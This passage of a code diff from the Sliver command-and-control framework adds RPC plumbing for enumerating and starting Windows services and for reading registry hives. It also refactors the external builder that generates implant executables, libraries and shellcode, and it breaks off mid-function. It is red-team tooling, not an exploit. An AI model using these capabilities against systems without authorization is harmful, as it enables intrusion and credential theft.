func (UnimplementedSliverRPCServer) CurrentTokenOwner(context.Context, *sliverpb.CurrentTokenOwnerReq) (*sliverpb.CurrentTokenOwner, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method CurrentTokenOwner not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Services(context.Context, *sliverpb.ServicesReq) (*sliverpb.Services, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Services not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) ServiceDetail(context.Context, *sliverpb.ServiceDetailReq) (*sliverpb.ServiceDetail, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method ServiceDetail not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) StartServiceByName(context.Context, *sliverpb.StartServiceByNameReq) (*sliverpb.ServiceInfo, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method StartServiceByName not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) PivotStartListener(context.Context, *sliverpb.PivotStartListenerReq) (*sliverpb.PivotListener, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method PivotStartListener not implemented")
|
||||
}
|
||||
@@ -2605,6 +2672,9 @@ func (UnimplementedSliverRPCServer) RegistryListSubKeys(context.Context, *sliver
|
||||
func (UnimplementedSliverRPCServer) RegistryListValues(context.Context, *sliverpb.RegistryListValuesReq) (*sliverpb.RegistryValuesList, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method RegistryListValues not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) RegistryReadHive(context.Context, *sliverpb.RegistryReadHiveReq) (*sliverpb.RegistryReadHive, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method RegistryReadHive not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method RunSSHCommand not implemented")
|
||||
}
|
||||
@@ -3127,6 +3197,24 @@ func _SliverRPC_CancelBeaconTask_Handler(srv interface{}, ctx context.Context, d
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_UpdateBeaconIntegrityInformation_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(clientpb.BeaconIntegrity)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).UpdateBeaconIntegrityInformation(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/UpdateBeaconIntegrityInformation",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).UpdateBeaconIntegrityInformation(ctx, req.(*clientpb.BeaconIntegrity))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_GetJobs_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(commonpb.Empty)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -5023,6 +5111,60 @@ func _SliverRPC_CurrentTokenOwner_Handler(srv interface{}, ctx context.Context,
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Services_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.ServicesReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).Services(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/Services",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).Services(ctx, req.(*sliverpb.ServicesReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_ServiceDetail_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.ServiceDetailReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).ServiceDetail(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/ServiceDetail",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).ServiceDetail(ctx, req.(*sliverpb.ServiceDetailReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_StartServiceByName_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.StartServiceByNameReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).StartServiceByName(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/StartServiceByName",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).StartServiceByName(ctx, req.(*sliverpb.StartServiceByNameReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_PivotStartListener_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.PivotStartListenerReq)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -5347,6 +5489,24 @@ func _SliverRPC_RegistryListValues_Handler(srv interface{}, ctx context.Context,
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_RegistryReadHive_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.RegistryReadHiveReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).RegistryReadHive(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/RegistryReadHive",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).RegistryReadHive(ctx, req.(*sliverpb.RegistryReadHiveReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_RunSSHCommand_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.SSHCommandReq)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -5983,6 +6143,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
MethodName: "CancelBeaconTask",
|
||||
Handler: _SliverRPC_CancelBeaconTask_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "UpdateBeaconIntegrityInformation",
|
||||
Handler: _SliverRPC_UpdateBeaconIntegrityInformation_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "GetJobs",
|
||||
Handler: _SliverRPC_GetJobs_Handler,
|
||||
@@ -6395,6 +6559,18 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
MethodName: "CurrentTokenOwner",
|
||||
Handler: _SliverRPC_CurrentTokenOwner_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "Services",
|
||||
Handler: _SliverRPC_Services_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "ServiceDetail",
|
||||
Handler: _SliverRPC_ServiceDetail_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "StartServiceByName",
|
||||
Handler: _SliverRPC_StartServiceByName_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "PivotStartListener",
|
||||
Handler: _SliverRPC_PivotStartListener_Handler,
|
||||
@@ -6467,6 +6643,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
MethodName: "RegistryListValues",
|
||||
Handler: _SliverRPC_RegistryListValues_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "RegistryReadHive",
|
||||
Handler: _SliverRPC_RegistryReadHive_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "RunSSHCommand",
|
||||
Handler: _SliverRPC_RunSSHCommand_Handler,
|
||||
|
||||
@@ -342,6 +342,13 @@ const (
|
||||
|
||||
// MsgGrepReq - Request to grep for data
|
||||
MsgGrepReq
|
||||
|
||||
// Services messages
|
||||
MsgServicesReq
|
||||
MsgServiceDetailReq
|
||||
MsgStartServiceByNameReq
|
||||
|
||||
MsgRegistryReadHiveReq
|
||||
)
|
||||
|
||||
// Constants to replace enums
|
||||
@@ -608,6 +615,17 @@ func MsgNumber(request proto.Message) uint32 {
|
||||
case *ExecWasmExtensionReq:
|
||||
return MsgExecWasmExtensionReq
|
||||
|
||||
case *ServicesReq:
|
||||
return MsgServicesReq
|
||||
|
||||
case *ServiceDetailReq:
|
||||
return MsgServiceDetailReq
|
||||
|
||||
case *StartServiceByNameReq:
|
||||
return MsgStartServiceByNameReq
|
||||
|
||||
case *RegistryReadHiveReq:
|
||||
return MsgRegistryReadHiveReq
|
||||
}
|
||||
return uint32(0)
|
||||
}
|
||||
+1775
-1080
File diff suppressed because it is too large.
Load diff
@@ -775,6 +775,19 @@ message RegistryValuesList {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message RegistryReadHiveReq {
|
||||
string RootHive = 1;
|
||||
string RequestedHive = 2;
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message RegistryReadHive {
|
||||
bytes Data = 1;
|
||||
string Encoder = 2;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
// Tunnel - Tunnel related messages
|
||||
message Tunnel {
|
||||
uint64 TunnelID = 8 [jstype = JS_STRING];
|
||||
@@ -1288,3 +1301,45 @@ message ExecWasmExtension {
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message ServicesReq {
|
||||
string Hostname = 1;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message ServiceDetailReq {
|
||||
ServiceInfoReq ServiceInfo = 1;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message ServiceDetails {
|
||||
string Name = 1;
|
||||
string DisplayName = 2;
|
||||
string Description = 3;
|
||||
uint32 Status = 4;
|
||||
uint32 StartupType = 5;
|
||||
string BinPath = 6;
|
||||
string Account = 7;
|
||||
}
|
||||
|
||||
message Services {
|
||||
repeated ServiceDetails Details = 1;
|
||||
string Error = 2;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message ServiceDetail {
|
||||
ServiceDetails Detail = 1;
|
||||
string Message = 2;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message StartServiceByNameReq {
|
||||
ServiceInfoReq ServiceInfo = 1;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
+70
-33
@@ -23,17 +23,19 @@ import (
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"os/signal"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
"github.com/bishopfox/sliver/server/generate"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"google.golang.org/grpc"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -46,31 +48,48 @@ type Config struct {
|
||||
Formats []clientpb.OutputFormat
|
||||
}
|
||||
|
||||
type Builder struct {
|
||||
externalBuilder *clientpb.Builder
|
||||
mutex *sync.Mutex
|
||||
rpc rpcpb.SliverRPCClient
|
||||
ln *grpc.ClientConn
|
||||
}
|
||||
|
||||
func NewBuilder(config *clientpb.Builder, m *sync.Mutex, rpc rpcpb.SliverRPCClient, ln *grpc.ClientConn) *Builder {
|
||||
return &Builder{
|
||||
externalBuilder: config,
|
||||
mutex: m,
|
||||
rpc: rpc,
|
||||
ln: ln,
|
||||
}
|
||||
}
|
||||
|
||||
// StartBuilder - main entry point for the builder
|
||||
func StartBuilder(externalBuilder *clientpb.Builder, rpc rpcpb.SliverRPCClient) {
|
||||
|
||||
sigint := make(chan os.Signal, 1)
|
||||
signal.Notify(sigint, os.Interrupt)
|
||||
|
||||
builderLog.Infof("Attempting to register builder: %s", externalBuilder.Name)
|
||||
events, err := buildEvents(externalBuilder, rpc)
|
||||
func (b *Builder) Start() {
|
||||
builderLog.Infof("Attempting to register builder: %s", b.externalBuilder.Name)
|
||||
events, err := b.buildEvents()
|
||||
if err != nil {
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// Wait for signal or builds
|
||||
for {
|
||||
select {
|
||||
case <-sigint:
|
||||
return
|
||||
case event := <-events:
|
||||
go handleBuildEvent(externalBuilder, event, rpc)
|
||||
go b.handleBuildEvent(event)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func buildEvents(externalBuilder *clientpb.Builder, rpc rpcpb.SliverRPCClient) (<-chan *clientpb.Event, error) {
|
||||
eventStream, err := rpc.BuilderRegister(context.Background(), externalBuilder)
|
||||
func (b *Builder) Stop() {
|
||||
builderLog.Infof("Stopping builder %s", b.externalBuilder.Name)
|
||||
b.mutex.Lock()
|
||||
defer b.mutex.Unlock()
|
||||
b.ln.Close()
|
||||
builderLog.Infof("Builder %s stopped", b.externalBuilder.Name)
|
||||
}
|
||||
|
||||
func (b *Builder) buildEvents() (<-chan *clientpb.Event, error) {
|
||||
eventStream, err := b.rpc.BuilderRegister(context.Background(), b.externalBuilder)
|
||||
if err != nil {
|
||||
builderLog.Errorf("failed to register builder: %s", err)
|
||||
return nil, err
|
||||
@@ -81,7 +100,9 @@ func buildEvents(externalBuilder *clientpb.Builder, rpc rpcpb.SliverRPCClient) (
|
||||
event, err := eventStream.Recv()
|
||||
if err == io.EOF || event == nil {
|
||||
builderLog.Errorf("builder event stream closed")
|
||||
os.Exit(1)
|
||||
// return instead of exit because EOF can happen when we call `Builder.Stop()`
|
||||
// during a reload from SIGHUP
|
||||
return
|
||||
}
|
||||
|
||||
// Trigger event based on type
|
||||
@@ -97,7 +118,7 @@ func buildEvents(externalBuilder *clientpb.Builder, rpc rpcpb.SliverRPCClient) (
|
||||
}
|
||||
|
||||
// handleBuildEvent - Handle an individual build event
|
||||
func handleBuildEvent(externalBuilder *clientpb.Builder, event *clientpb.Event, rpc rpcpb.SliverRPCClient) {
|
||||
func (b *Builder) handleBuildEvent(event *clientpb.Event) {
|
||||
|
||||
parts := strings.Split(string(event.Data), ":")
|
||||
if len(parts) < 2 {
|
||||
@@ -105,19 +126,19 @@ func handleBuildEvent(externalBuilder *clientpb.Builder, event *clientpb.Event,
|
||||
return
|
||||
}
|
||||
builderName := strings.Join(parts[:len(parts)-1], ":")
|
||||
if builderName != externalBuilder.Name {
|
||||
if builderName != b.externalBuilder.Name {
|
||||
builderLog.Debugf("This build event is for someone else (%s), ignoring", builderName)
|
||||
return
|
||||
}
|
||||
|
||||
implantBuildID := parts[1]
|
||||
builderLog.Infof("Build event for implant build id: %s", implantBuildID)
|
||||
extConfig, err := rpc.GenerateExternalGetBuildConfig(context.Background(), &clientpb.ImplantBuild{
|
||||
extConfig, err := b.rpc.GenerateExternalGetBuildConfig(context.Background(), &clientpb.ImplantBuild{
|
||||
ID: implantBuildID,
|
||||
})
|
||||
if err != nil {
|
||||
builderLog.Errorf("Failed to get build config: %s", err)
|
||||
rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
b.rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
EventType: consts.ExternalBuildFailedEvent,
|
||||
Data: []byte(fmt.Sprintf("%s:%s", implantBuildID, err.Error())),
|
||||
})
|
||||
@@ -125,15 +146,15 @@ func handleBuildEvent(externalBuilder *clientpb.Builder, event *clientpb.Event,
|
||||
}
|
||||
if extConfig == nil {
|
||||
builderLog.Errorf("nil extConfig")
|
||||
rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
b.rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
EventType: consts.ExternalBuildFailedEvent,
|
||||
Data: []byte(fmt.Sprintf("%s:%s", implantBuildID, "nil external config")),
|
||||
})
|
||||
return
|
||||
}
|
||||
if !isSupportedTarget(externalBuilder.Targets, extConfig.Config) {
|
||||
if !isSupportedTarget(b.externalBuilder.Targets, extConfig.Config) {
|
||||
builderLog.Warnf("Skipping event, unsupported target %s:%s/%s", extConfig.Config.Format, extConfig.Config.GOOS, extConfig.Config.GOARCH)
|
||||
rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
b.rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
EventType: consts.ExternalBuildFailedEvent,
|
||||
Data: []byte(
|
||||
fmt.Sprintf("%s:%s", implantBuildID, fmt.Sprintf("unsupported target %s:%s/%s", extConfig.Config.Format, extConfig.Config.GOOS, extConfig.Config.GOARCH)),
|
||||
@@ -143,7 +164,7 @@ func handleBuildEvent(externalBuilder *clientpb.Builder, event *clientpb.Event,
|
||||
}
|
||||
if extConfig.Config.TemplateName != "sliver" {
|
||||
builderLog.Warnf("Reject event, unsupported template '%s'", extConfig.Config.TemplateName)
|
||||
rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
b.rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
EventType: consts.ExternalBuildFailedEvent,
|
||||
Data: []byte(fmt.Sprintf("%s:%s", implantBuildID, "Unsupported template")),
|
||||
})
|
||||
@@ -156,24 +177,40 @@ func handleBuildEvent(externalBuilder *clientpb.Builder, event *clientpb.Event,
|
||||
builderLog.Infof(" [c2] mtls:%t wg:%t http/s:%t dns:%t", extModel.IncludeMTLS, extModel.IncludeWG, extModel.IncludeHTTP, extModel.IncludeDNS)
|
||||
builderLog.Infof("[pivots] tcp:%t named-pipe:%t", extModel.IncludeTCP, extModel.IncludeNamePipe)
|
||||
|
||||
rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
b.rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
EventType: consts.AcknowledgeBuildEvent,
|
||||
Data: []byte(implantBuildID),
|
||||
})
|
||||
|
||||
httpC2Config, err := db.LoadHTTPC2ConfigByName(extConfig.Config.HTTPC2ConfigName)
|
||||
if err != nil {
|
||||
builderLog.Errorf("Failed to load c2 config: %s", err)
|
||||
b.rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
EventType: consts.ExternalBuildFailedEvent,
|
||||
Data: []byte(fmt.Sprintf("%s:%s", implantBuildID, err.Error())),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
var fPath string
|
||||
switch extConfig.Config.Format {
|
||||
case clientpb.OutputFormat_SERVICE:
|
||||
fallthrough
|
||||
case clientpb.OutputFormat_EXECUTABLE:
|
||||
fPath, err = generate.SliverExecutable(extConfig.Build.Name, extConfig.Build, extConfig.Config, extConfig.HTTPC2.ImplantConfig)
|
||||
b.mutex.Lock()
|
||||
fPath, err = generate.SliverExecutable(extConfig.Build.Name, extConfig.Build, extConfig.Config, httpC2Config.ImplantConfig)
|
||||
b.mutex.Unlock()
|
||||
case clientpb.OutputFormat_SHARED_LIB:
|
||||
fPath, err = generate.SliverSharedLibrary(extConfig.Build.Name, extConfig.Build, extConfig.Config, extConfig.HTTPC2.ImplantConfig)
|
||||
b.mutex.Lock()
|
||||
fPath, err = generate.SliverSharedLibrary(extConfig.Build.Name, extConfig.Build, extConfig.Config, httpC2Config.ImplantConfig)
|
||||
b.mutex.Unlock()
|
||||
case clientpb.OutputFormat_SHELLCODE:
|
||||
fPath, err = generate.SliverShellcode(extConfig.Build.Name, extConfig.Build, extConfig.Config, extConfig.HTTPC2.ImplantConfig)
|
||||
b.mutex.Lock()
|
||||
fPath, err = generate.SliverShellcode(extConfig.Build.Name, extConfig.Build, extConfig.Config, httpC2Config.ImplantConfig)
|
||||
b.mutex.Unlock()
|
||||
default:
|
||||
builderLog.Errorf("invalid output format: %s", extConfig.Config.Format)
|
||||
rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
b.rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
EventType: consts.ExternalBuildFailedEvent,
|
||||
Data: []byte(fmt.Sprintf("%s:%s", implantBuildID, err.Error())),
|
||||
})
|
||||
@@ -181,7 +218,7 @@ func handleBuildEvent(externalBuilder *clientpb.Builder, event *clientpb.Event,
|
||||
}
|
||||
if err != nil {
|
||||
builderLog.Errorf("Failed to generate sliver: %s", err)
|
||||
rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
b.rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
EventType: consts.ExternalBuildFailedEvent,
|
||||
Data: []byte(fmt.Sprintf("%s:%s", implantBuildID, err.Error())),
|
||||
})
|
||||
@@ -192,7 +229,7 @@ func handleBuildEvent(externalBuilder *clientpb.Builder, event *clientpb.Event,
|
||||
data, err := os.ReadFile(fPath)
|
||||
if err != nil {
|
||||
builderLog.Errorf("Failed to read generated sliver: %s", err)
|
||||
rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
b.rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
EventType: consts.ExternalBuildFailedEvent,
|
||||
Data: []byte(fmt.Sprintf("%s:%s", implantBuildID, err.Error())),
|
||||
})
|
||||
@@ -205,7 +242,7 @@ func handleBuildEvent(externalBuilder *clientpb.Builder, event *clientpb.Event,
|
||||
}
|
||||
|
||||
builderLog.Infof("Uploading '%s' to server ...", extConfig.Build.Name)
|
||||
_, err = rpc.GenerateExternalSaveBuild(context.Background(), &clientpb.ExternalImplantBinary{
|
||||
_, err = b.rpc.GenerateExternalSaveBuild(context.Background(), &clientpb.ExternalImplantBinary{
|
||||
Name: extConfig.Build.Name,
|
||||
ImplantBuildID: extConfig.Build.ID,
|
||||
File: &commonpb.File{
|
||||
@@ -215,13 +252,13 @@ func handleBuildEvent(externalBuilder *clientpb.Builder, event *clientpb.Event,
|
||||
})
|
||||
if err != nil {
|
||||
builderLog.Errorf("Failed to save build: %s", err)
|
||||
rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
b.rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
EventType: consts.ExternalBuildFailedEvent,
|
||||
Data: []byte(fmt.Sprintf("%s:%s", implantBuildID, err.Error())),
|
||||
})
|
||||
return
|
||||
}
|
||||
rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
b.rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
EventType: consts.ExternalBuildCompletedEvent,
|
||||
Data: []byte(fmt.Sprintf("%s:%s", implantBuildID, extConfig.Build.Name)),
|
||||
})
|
||||
|
||||
+133
-30
@@ -21,15 +21,21 @@ package cli
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/signal"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"runtime/debug"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
|
||||
clientAssets "github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/transport"
|
||||
"github.com/bishopfox/sliver/client/version"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/server/assets"
|
||||
"github.com/bishopfox/sliver/server/builder"
|
||||
"github.com/bishopfox/sliver/server/c2"
|
||||
"github.com/bishopfox/sliver/server/generate"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -43,15 +49,17 @@ const (
|
||||
enableTargetFlagStr = "enable-target"
|
||||
disableTargetFlagStr = "disable-target"
|
||||
|
||||
operatorConfigFlagStr = "config"
|
||||
quietFlagStr = "quiet"
|
||||
logLevelFlagStr = "log-level"
|
||||
operatorConfigFlagStr = "config"
|
||||
operatorConfigDirFlagStr = "config-dir"
|
||||
quietFlagStr = "quiet"
|
||||
logLevelFlagStr = "log-level"
|
||||
)
|
||||
|
||||
func initBuilderCmd() *cobra.Command {
|
||||
builderCmd.Flags().StringP(nameFlagStr, "n", "", "Name of the builder (blank = hostname)")
|
||||
builderCmd.Flags().IntP(logLevelFlagStr, "L", 4, "Logging level: 1/fatal, 2/error, 3/warn, 4/info, 5/debug, 6/trace")
|
||||
builderCmd.Flags().StringP(operatorConfigFlagStr, "c", "", "operator config file path")
|
||||
builderCmd.Flags().StringP(operatorConfigDirFlagStr, "d", "", "operator config directory path")
|
||||
builderCmd.Flags().BoolP(quietFlagStr, "q", false, "do not write any content to stdout")
|
||||
|
||||
// Artifact configuration options
|
||||
@@ -61,6 +69,8 @@ func initBuilderCmd() *cobra.Command {
|
||||
return builderCmd
|
||||
}
|
||||
|
||||
var builders []*builder.Builder
|
||||
|
||||
var builderCmd = &cobra.Command{
|
||||
Use: "builder",
|
||||
Short: "Start the process as an external builder",
|
||||
@@ -71,8 +81,14 @@ var builderCmd = &cobra.Command{
|
||||
builderLog.Errorf("Failed to parse --%s flag %s\n", operatorConfigFlagStr, err)
|
||||
return
|
||||
}
|
||||
if configPath == "" {
|
||||
builderLog.Errorf("Missing --%s flag\n", operatorConfigFlagStr)
|
||||
|
||||
configDir, err := cmd.Flags().GetString(operatorConfigDirFlagStr)
|
||||
if err != nil {
|
||||
builderLog.Errorf("Failed to parse --%s flag %s\n", operatorConfigDirFlagStr, err)
|
||||
return
|
||||
}
|
||||
if configPath == "" && configDir == "" {
|
||||
builderLog.Errorf("Missing --%s or --%s flags\n", operatorConfigFlagStr, operatorConfigDirFlagStr)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -100,37 +116,124 @@ var builderCmd = &cobra.Command{
|
||||
}
|
||||
}()
|
||||
|
||||
externalBuilder := parseBuilderConfigFlags(cmd)
|
||||
externalBuilder.Templates = []string{"sliver"}
|
||||
|
||||
// load the client configuration from the filesystem
|
||||
config, err := clientAssets.ReadConfig(configPath)
|
||||
if err != nil {
|
||||
builderLog.Fatalf("Invalid config file: %s", err)
|
||||
os.Exit(-1)
|
||||
// setup assets
|
||||
assets.Setup(true, false)
|
||||
// setup default profiles for HTTP C2
|
||||
c2.SetupDefaultC2Profiles()
|
||||
config := configPath
|
||||
multipleBuilders := (configPath == "" && configDir != "")
|
||||
if multipleBuilders {
|
||||
config = configDir
|
||||
}
|
||||
if externalBuilder.Name == "" {
|
||||
builderLog.Infof("No builder name was specified, attempting to use hostname")
|
||||
externalBuilder.Name, err = os.Hostname()
|
||||
if err != nil {
|
||||
builderLog.Errorf("Failed to get hostname: %s", err)
|
||||
externalBuilder.Name = fmt.Sprintf("%s's %s builder", config.Operator, runtime.GOOS)
|
||||
startBuilders(cmd, config, multipleBuilders)
|
||||
// Handle SIGHUP to reload builders
|
||||
sigHup := make(chan os.Signal, 1)
|
||||
signal.Notify(sigHup, syscall.SIGHUP)
|
||||
// Handle interupt to stop all builders and exit
|
||||
sigInt := make(chan os.Signal, 1)
|
||||
signal.Notify(sigInt, os.Interrupt)
|
||||
for {
|
||||
select {
|
||||
case <-sigHup:
|
||||
builderLog.Info("Received SIGHUP, reloading builders")
|
||||
reloadBuilders(cmd, config, multipleBuilders)
|
||||
case <-sigInt:
|
||||
builderLog.Info("Received SIGINT, stopping all builders")
|
||||
for _, builderInst := range builders {
|
||||
builderInst.Stop()
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
builderLog.Infof("Hello my name is: %s", externalBuilder.Name)
|
||||
|
||||
// connect to the server
|
||||
builderLog.Infof("Connecting to %s@%s:%d ...", config.Operator, config.LHost, config.LPort)
|
||||
rpc, ln, err := transport.MTLSConnect(config)
|
||||
if err != nil {
|
||||
builderLog.Errorf("Failed to connect to server: %s", err)
|
||||
os.Exit(-2)
|
||||
}
|
||||
defer ln.Close()
|
||||
builder.StartBuilder(externalBuilder, rpc)
|
||||
},
|
||||
}
|
||||
|
||||
// Start all builders if multpile is true or a single builder otherwise.
|
||||
func startBuilders(cmd *cobra.Command, config string, multpile bool) {
|
||||
// We're passing a mutex to each builder to prevent concurrent builds.
|
||||
// Concurrent build should be fine in theory, but may cause resource
|
||||
// exhaustion on the server.
|
||||
// For single builders, this should have no impact.
|
||||
mutex := &sync.Mutex{}
|
||||
// Single builder
|
||||
if !multpile {
|
||||
singleBuilder, err := createBuilder(cmd, config, mutex)
|
||||
if err != nil {
|
||||
builderLog.Errorf("Failed to create builder: %s", err)
|
||||
os.Exit(-1)
|
||||
}
|
||||
// Start single builder (blocking call)
|
||||
singleBuilder.Start()
|
||||
} else {
|
||||
// Multiple builders
|
||||
